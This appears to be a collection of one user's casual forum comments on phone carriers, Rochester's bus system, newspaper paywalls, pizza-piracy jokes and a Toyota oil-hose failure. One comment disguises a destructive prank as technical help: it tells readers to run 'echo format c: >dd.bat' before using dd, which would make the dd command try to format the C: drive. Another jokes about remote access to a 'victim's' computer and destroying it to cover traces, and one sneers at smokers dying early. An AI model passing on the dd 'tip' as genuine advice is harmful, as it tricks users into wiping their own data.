I was with sprint for 2 years. Half my calls dropped, My phone wouldnt even ring some of the time. the customer service was horrid, they tried to charge for over $250 in download services i never used (The said i used it when i was in denver when i have never been west of the mississippi, not to mention how i got from denver to making a call in new york in about 1 hour, I must have a concord availible to me!), it took over 8 hours on the phone to get the charge canceled even though it was obviously bogus. In my opinion sprint deserves every piece of its crappy reputation and more. I am with verizon now.

I was referring to the Rochester bus system. The bus company is RTS. www.rgrta.com

Well up to a few years ago my City's bus service was in trouble. In the past 4 years though they have completely turned the service around. In the past 4 years, every price change has been a price cut, while going from being in debt to record surpluses.

They did that by simplifying the costs, making it easier to ride eliminating transfers (Including in seat transfers when the buses traveled between different sections of the city, making it possible that you would need to "transfer" up to 2 times while never exiting the bus) and only charging per ride and passes for unlimited rides for a certain period of time.
Unprofitable routes are now now mostly paid for by businesses on those routes in exchange for having preferential bus stop placement, or having the bus even pull into the companies parking lot at peak times for people arriving and departing.

The NYT could make it easier to pay for the articles (Text a code to a number, and 25 cents is added to your phone bill) Make it so sections covered by other newspapers are free, and have the nitch articles be paid, have all you can learn plans, offer early access to articles to companies in fields the company reports on at a premium subscription rate.

actually some pneumatic tube systems have procedures for a stuck cylinder, by sending a second heavier cylinder, or by increasing the pressure to higher than normal levels, either way clearing the tube.

Pizza hut is now suing customers that use the pizzamaker 3000 to download unauthorized copies of their pizzas through PneumaticPizzatorrents. papa johns and domino's are considering following suite. It is being shown that only 3% of all pizzas downloaded are legal public domain or open source pizzas.

Does this mean we will instead see a fan made movie soon called "The Story of Zalde: the hero of time", and it will open with Lunk destroying the evil organization of Nintondiz?

on msdos / windows you have to enter:
echo format c: >dd.bat
before entering the dd command. It will work after that. :)

there is an upside, people dumb enough to smoke are removed from the gene pool earlier than those who don't.

Bah, Just log into your computer via remote desktop on your victims computer, then destroy the computer afterward and make it look like a stray shot hit it and busted the hard drive! Or just use vnc from a livecd.

It was out of warrenty, but was a major design flaw. (Toyota issued a recall due to this issue about a week after it happened to her car.) Currently there is class action lawsuit about the flaw. She had just checked the oil levels a few days before, but because the flaw was in an oil line that burst during driving, the oil all leaked out before she knew what had happened.

A friend of mine just had her toyotas engine die because a cheap $20 hose was prone to failure, When it failed, the oil all leaked out WITHOUT the oil light coming on. This issue has occured for quite a few people with the Toyota Avalons (though almost all the ones with this issue were made in the same year)

Id hire him in a second if i was a major software company in a big building. He could be the window washer on the side of the building where people throw pennies off the roof. Of course the elevator control system will run linux and the $699 license fee will come out of his (minimum wage) pay. Also the pennies thrown off the side count as tips! :D